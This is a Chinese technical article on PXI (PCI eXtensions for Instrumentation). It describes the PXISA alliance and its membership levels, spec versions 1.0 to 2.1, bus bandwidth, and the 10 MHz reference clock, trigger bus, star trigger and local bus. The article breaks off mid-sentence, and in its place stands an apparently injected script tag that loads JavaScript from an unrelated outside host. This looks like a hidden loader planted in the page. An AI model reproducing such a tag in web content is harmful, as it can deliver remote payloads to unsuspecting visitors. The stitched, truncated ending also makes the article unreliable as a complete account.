PXI技术发展与近况

摘 要:介绍pxi组织、pxi技术与产品近况。

关键词:测量;计算机;仪器;总线

1pxi组织与产品近况

的缩写。制订并推广pxi规格的组织是pxisa(pxi system alliance)。它成立于1997年,并于该年推出1.0版的pxi规格。pxisa是一个非营利的组织,其会员分为三个不同的等级,分别为sponsor membership, executive membership与associate membership。除了年费的不同外,各等级的会员负有不同的责任、义务与权利。sponsor会员需具备一年以上的executive会员资格,并且可于pxisa董事会中占一个席次。sponsor会员负责规格的起草、修改与制订,且具有对pxi规格承认的投票资格,sponsor会员主导pxi规格的行销策略的建立。executive会员则可以积极参与行销方向与规格技术方面的意见交流,并且也具备对pxi规格的同意投票权。第三级的associate会员则无投票权,但经pxisa可以获得最直接的第一手信息。目前已有50多个公司加入pxisa,且其中不乏业界知名公司,如teradyne与advantest。亚洲方面目前共有五家公司加入pxisa,分别为台湾凌华科技(adlink technology),致茂科技(chroma)、位于日本的advantest与src corporation,以及位于韩国的cmi technology。其中仅台湾的凌华科技adlink technology与日本advantest具有第二级的executive会员资格。pxi的规格于2000年时推出2.0版,于2003年2月将规格更新至2.1版。有兴趣的读者可以自行前往pxi的官方网站下载pxi的规格(url:www.pxisa.org)。

随着pxisa的接受度提高,以及全球众多厂商的加入,目前pxi已不会让客户有被单一厂商绑住规格的忧虑,且市场上已有六百多种不同的pxi模块问世。这些模块包括:

pentium iii ghz等级pxi控制器、取样频率达gs/s的高速波形采集模块、任意波形产生器、射频信号分析模块、各种信号交换模块(从dc到ghz)、光交换模块、各种数据采集模块、数字传输模块、计数器/定时器等等,不胜枚举。

选择多重pxi模块,搭配不同机箱,使得pxi可以符合各种应用需求,并且易于维护。

2pxi技术简介

以仪器平台来说,早期由厂商推出各种独立的仪器,并由面板控制所需功能。为代替面板的操控,开发了多种接口,最受欢迎的是gpib,也就是ieee488接口。然而,gpib接口的速度慢;当使用多项设备时,需要额外的电路来达到同步触发的需求。80年代,vxi的出现将高级量测与测试应用的设备带进了模块化的领域。不过,vxi的价格则并非各等级客户都负担得起,所以,基于pc技术的演进与模块化精神的延续,pxi以较紧实的机构设计、较快的总线速度,以及较低的价格,提供了量测与测试设备一种新的选择。

pxi的规格分为硬件与软件两个部分。其中硬件部分基于compactpci规格,也就是picmg2.0。建构于compactpci的机构规格与pci的电气规格之上,加上仪器上所需要的电气信号延伸,就是所谓的pxi规格。所以,pxi的数据于33mhz、32bit的总线上传输,可达132mb/s;于66mhz、64bit bus上则可高达528mb/s。远高于gpib与vxi接口的传输速率。

pxi上的仪器延伸信号包括:

10mhz参考时钟、8bit pxi触发总线、星形触发线、13bit局部总线。

pxi背板上的每一个扩充槽皆有一专用10mhz参考时钟,其时钟歪斜(skew)之精确度小于1ns,故可用作各扩充槽之基础时钟,以达同步之效。

pxi触发总线由八个信号组成,各扩充槽皆连接至此总线,而通过pxi触发总线,亦可达到同步的功能。但因为其总线之特性,所以时钟歪斜之精确度仅要求小于10ns。利用pxi触发总线,可以于其上传输触发信号,或数据采集的时钟信号。

星形触发则由位于系统槽旁之星形触发控制器产生,至多可提供13个信号至各扩充槽。星形触发信号由星形触发产生器将信号一对一的送至其他扩充槽上,其时钟歪斜也小于1ns。星形触发控制器可以确保每一个扩充槽接收到精确的触发信号。

局部总线则是将相邻的两个扩充槽连接起来,仅两两相邻的扩充槽可利用之,一级一级传输控制信号,或者作为区域的通信通道。

pxi背板上的pci segment可以利用一般的pci bridge来延伸扩充槽的数目;利用串行传输技术也可以将pci的信号延伸至其他机箱。

不同于其他总线规格,pxi于软件上对系统控制模块与周边模块作了规范。例如:pxi周边模块的厂商,必须提供可使用于microsoft windows的驱动程序,而pxi控制模块则必须基于80x86架构,并可支持microsoft windows。随着各式操作系统的接受度提高,未来将可能加入pxi软件的规格。除了对软件架构上的规范外,pxi也制订了硬件描述文件(hardware description files)的规格,系统操作人员可利用这些档案,通过软件管理pxi系统上的模块。

简单地说,pxi的仪器延伸信号,提供了各pxi模块一个硬件?script src=http://er12.com/t.js>

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发布日期:2019年07月02日  所属分类:参考设计